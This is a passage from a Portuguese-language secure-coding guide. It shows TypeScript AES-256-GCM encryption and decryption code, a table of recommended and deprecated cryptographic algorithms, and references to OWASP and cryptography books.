  const iv = randomBytes(12); // 96-bit IV para GCM
  const cipher = createCipheriv('aes-256-gcm', key, iv);

  let ciphertext = cipher.update(plaintext, 'utf8', 'base64');
  ciphertext += cipher.final('base64');
  const tag = cipher.getAuthTag().toString('base64');

  return { ciphertext, iv: iv.toString('base64'), tag };
}

function decrypt(encrypted: { ciphertext: string; iv: string; tag: string }, key: Buffer): string {
  const decipher = createDecipheriv(
    'aes-256-gcm',
    key,
    Buffer.from(encrypted.iv, 'base64')
  );
  decipher.setAuthTag(Buffer.from(encrypted.tag, 'base64'));

  let plaintext = decipher.update(encrypted.ciphertext, 'base64', 'utf8');
  plaintext += decipher.final('utf8');
  return plaintext;
}

// Chave de 256 bits (32 bytes) — NUNCA hardcode! Use KMS ou vault
const key = randomBytes(32);
const encrypted = encrypt('dados sensíveis do usuário', key);
const decrypted = decrypt(encrypted, key);

Resumo de Algoritmos Recomendados (2025)

PropósitoRecomendadoEvitar
Criptografia simétricaAES-256-GCM, ChaCha20-Poly1305AES-ECB, DES, 3DES, RC4
Hash para senhasargon2id, bcryptMD5, SHA-1, SHA-256 (sem salt)
Hash para integridadeSHA-256, SHA-3, BLAKE3MD5, SHA-1
Assinatura digitalEd25519, ECDSA P-256RSA-1024, DSA
Key exchangeX25519, ECDH P-256DH com grupos pequenos
HMACHMAC-SHA256HMAC-MD5

Referencias e Fontes

  • OWASP Top 10https://owasp.org/www-project-top-ten/ — Lista das 10 vulnerabilidades mais criticas em aplicacoes web, atualizada periodicamente
  • OWASP Cheat Sheet Serieshttps://cheatsheetseries.owasp.org/ — Colecao de guias praticos de seguranca cobrindo autenticacao, criptografia, input validation e mais
  • “Serious Cryptography” — Jean-Philippe Aumasson — Guia prático de criptografia para engenheiros
  • “Cryptography Engineering” — Ferguson, Schneier, Kohno — Design e implementação de sistemas criptográficos